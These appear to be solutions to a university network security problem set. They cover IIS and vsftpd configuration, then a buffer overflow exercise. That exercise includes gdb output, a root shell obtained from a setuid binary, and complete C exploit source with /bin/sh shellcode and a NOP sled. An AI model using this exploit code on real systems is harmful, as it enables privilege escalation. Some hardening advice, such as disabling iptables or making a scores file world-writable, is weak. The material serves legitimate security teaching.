10/9/07

CS G254/U645 Network Security

Problem Set – II Solutions

 

1) Microsoft Windows 2003 Server

 

a)      Your default document root is in c:\inetpub\wwwroot (it can be changed in web server properties, home directory tab). When you go to http://ip-of-your-machine (for example http://192.168.10.23) you will see Windows default start page. You can create your custom index.html file in the document root directory. However, you will also need to change the start page in the IIS HTTP server settings. Go to “Start->Programs->Administrative Tools->Internet Service Manager”. Right-click on 'default web site' and choose properties. Choose 'documents' tab and add index.html to the list. You may also set the priority of default content pages.

b)      FTP service is not installed by default during IIS installation. To install FTP service on your IIS machine, you need to add an additional component to the Application Server role. Go to Control Panel > Add/Remove Programs > Add/Remove Windows Components > Select Application Server and click on details > Select IIS and click on details > Select FTP and install it. Keep the Windows 2003 Server installation CD handy.

To set up FTP server correctly do the following:

-go to folder inetpub and right-click the ftproot folder, select properties

-on the 'sharing' tab select 'share this folder' and choose 'permissions'

-here you can fine-tune the access to your FTP server

We will describe how to disallow anonymous FTP access and permit all the users with accounts on your system to login and download/upload documents to your FTP server.

-after you have selected 'sharing' tab, select 'share this folder', in 'permissions' remove 'everyone' entry

-click 'add' and if necessary select your computer's name from the drop-down list

-you will see the list of user groups, select 'users' and confirm

-in permissions dialog you can set appropriate access level ('read' for download only, 'change' for upload and download)

-now every user that will have account on your system will have access to the FTP server

-now go to the properties of FTP server (from Start->Programs->Administrative Tools->Internet Services Management and right-click on default FTP site; in 'security accounts' tab uncheck 'allow anonymous access' check box.

 

 

 

2) Linux

 

a)      You should already have httpd installed. To start web server do

>/sbin/service httpd start

To enable aumatic start on boot do

>/sbin/chkconfig httpd on

The main configuration file can be found at /etc/httpdconf/httpd.conf. The default document root is /var/www/html. If you wish to change it alter 'DocumentRoot' and 'Directory' value in the httpd.conf file. To create a custom index page, just create index.html under your document root directory.

You might have problems accessing your server from other computers on the network depending on your security settings. If you encounter problems you can either stop iptables service or fine-tune access to your system.

b)      For this part you could have chosen any Linux FTP server. For most of the management you will need to be logged in as a super user. To start/stop vsftpd:

>/sbin/service vsftpd start
>/sbin/service vsftpd stop

To automatically start vsftpd on boot:

>/sbin/chkconfig vsftpd on

To configure behavior of vsftpd you will have to edit /etc/vsftpd/vsftpd.conf file. To disallow anonymous access set “anonymous_enable=NO” and to allow local users to access server set “local_enable=YES”. To allow write access set “write_enable=YES”. Now add a user group for FTP access, create a local ftproot directory and make it accessible by users in ftp group:

            >/usr/sbin/groupadd ftpusers

            >mkdir /home/ftproot

            >chmod 750 /home/ftproot

            >chown root:ftpusers /home/ftproot

            Now you can add users and set their home directory to ftproot:

            >/usr/sbin/useradd -g ftpusers -d /home/ftproot user1          

3) Buffer Overflow Continued

 

a)      Let us first run lowercase with an input slightly larger than the buffer size and see what happens. By inspecting register info in gdb we can observe that some of the registers can be overwritten if the input string is longer than 512 characters. For example with 528 characters ‘A’ we get:

prompt:~/exploit $ gdb

GNU gdb 6.1-debian

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-linux".

(gdb) file /usr/bin/lowercase

Reading symbols from lowercase...done.

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) set args "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

(gdb) break 15

Breakpoint 1 at 0x80484c6: file lowercase.c, line 15.

(gdb) run

Starting program: /usr/bin/lowercase "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

Breakpoint 1, main (argc=2, argv=0xbffff794) at lowercase.c:15

15                      strcpy(buf, argv[1]);

(gdb) next

16                      printf("%s\n", buf);

(gdb) info registers

eax            0xbffff4b8       -1073744712

ecx            0xfffffc2a       -982

edx            0xbffffaf2       -1073743118

ebx            0xbffffaf0       -1073743120

esp            0xbffff4b0       0xbffff4b0

ebp            0xbffff6d8       0xbffff6d8

esi            0xbffff764       -1073744028

edi            0x2      2

eip            0x80484f0        0x80484f0

eflags         0x200246 2097734

cs             0x73     115

ss             0x7b     123

ds             0x7b     123

es             0x7b     123

fs             0x0      0

gs             0x33     51

(gdb) next

Program received signal SIGSEGV, Segmentation fault.

0x40068251 in vfprintf () from /lib/tls/i686/cmov/libc.so.6

(gdb) info registers

eax            0x40068bc5       1074170821

ecx            0x0      0

edx            0x28ff   10495

ebx            0x4014fedc       1075117788

esp            0xbfffeea8       0xbfffeea8

ebp            0xbffff494       0xbffff494

esi            0xbffff4b4       -1073744716

edi            0x61616161       1633771873

eip            0x40068251       0x40068251

eflags         0x210246 2163270

cs             0x73     115

ss             0x7b     123

ds             0x7b     123

es             0x7b     123

fs             0x0      0

gs             0x33     51

(gdb)

In this case we overwrite the destination index register edi that holds the base destination pointer for string instructions. Other registers of interest here are: ebx – used to hold offset of a data pointer, ebp – holds the base pointer for memory data transfer, eip – holds the next instruction in the code segment. If eip is overwritten then we may execute some other command or segfault if the memory is inaccessible to us. We can also find the address of buf while debugging by typing print &buf. In this case after re-running the program we got:

 

(gdb)print &buf

&buf (char (*)(512))0xbffff4b8

 

b)                 Permissions on file:

prompt:~ $ ls –l lowercase

-rwsr-xr-x    1 root     root        14127 2005-01-26 07:22 lowercase

The program would need such permissions if an unprivileged user would need to run the program with root privileges.

 

c) The parameters that can be varied are: length of input, address to store our shell code and offset. Example exploit run:

 

[class@vm buffer]# ./myexpl 612

Using address: 0xbffff868

[class@vm buffer]# lowercase $EGG

Н1ЫШ@НиЬяяя/bin/shъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъяїИъя

sh-3.00b# ls

exploit    lowercase.c    safelowercase.c  testshellcode

exploit.c  safelowercase  shellcode.txt    testshellcode.c

sh-3.00b# ps

  PID TTY          TIME CMD

 2236 pts/0    00:00:00 bash    <---- this is our original bash shell

 2373 pts/0    00:00:00 exploit <---- exploit is running and changed env var

 2374 pts/0    00:00:00 bash    <---- this is /bin/bash at end of exploit

 2400 pts/0    00:00:00 sh      <---- this is our spawned shell

 2402 pts/0    00:00:00 ps      <---- this is ps...

sh-3.00# exit

exit

[class@vm buffer]#

 

d)  #include <stdlib.h>

 

#define DEFAULT_OFFSET            0

#define DEFAULT_BUFFER_SIZE       512

#define NOP                       0x90

 

char scode[] =      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"

                           "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"

                           "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"

                           "\xff\xff/bin/sh";

 

unsigned long get_sp(void){             //this is a function that will return

       __asm__("movl %esp, %eax");       // the stack pointer's address.

}

 

int main(int argc, char *argv[]){

       char *buff, *ptr;                 //pointers used to access and store

       long *addr_ptr, addr;             // various values into our buffer.

       int offset = DEFAULT_OFFSET;      //distance from the stack pointer.

       int bsize = DEFAULT_BUFFER_SIZE;  //size of our buffer.

       int i;

 

       if(argc>1) bsize = atoi(argv[1]); //using bsize and offset we will

       if(argc>2) offset = atoi(argv[2]);      // try to find the right address

                                        // to store our buffer.

                                                                  

       if(!(buff = malloc(bsize))){            //allocate memory for our buffer

             printf("Can't malloc\n");         // to be used to overflow buffer

             exit(0);                          // in lowercase.c.

       }

 

       addr = get_sp() - offset;               //save the address of the stack

       printf("Using address: 0x%x\n", addr);  // pointer, we will start our

                                               // exploit at this address.

 

       ptr = buff;                       //point ptr at buff.

       addr_ptr = (long *)ptr;           //convert ptr to long* so we can

       for(i=0;i<bsize;i+=4)             // repeatedly store the return address

             *(addr_ptr++) = addr;      // throughout our buffer.

 

       for(i=0;i<bsize/2;i++)     //Put nop's in the first half of the

             buff[i] = NOP;      // buffer to increase our chances of

                                  // pointing into our buffer and running

                                  // our shellcode.

 

       ptr = buff + ((bsize/2) - (strlen(scode)/2));  //copy our shellcode

       for(i=0;i<strlen(scode);i++)                   // into the center of

             *(ptr++) = scode[i];                    // our buffer.

 

       buff[bsize-1] = '\0';             //buffer needs to be null terminated

                                        // so strcpy will finish at the end

                                        // of our buffer.

 

       memcpy(buff, "EGG=", 4);          //put our overflow buffer into an

       putenv(buff);                     // environment variable and open a

   system("/bin/bash");              // a new bash with this new value.

 

e) To make lowercase more secure we can:  remove the internal buffer and print argv[1] instead, check the length of argv[1], copy argv[1] into buf up to strlen(argv[1]) or 512 bytes, which ever value  is smaller, use strncpy function that allows to specify length of data copied.

One example of a situation when high privileges are needed by users is recording scores in a computer game. Any user can play the installed game. The game may need special permissions to run properly and access all necessary resources. If there is a highscores

file, it needs to be read/write-able by anyone who uses the game or read/write-able by the game itself. This is usually done by making the highscores writing command suid root.

One way to fix this would be to have the highscores file rw- by all users. Since anyone could write to this file, the highscores writing command would not need to be suid root.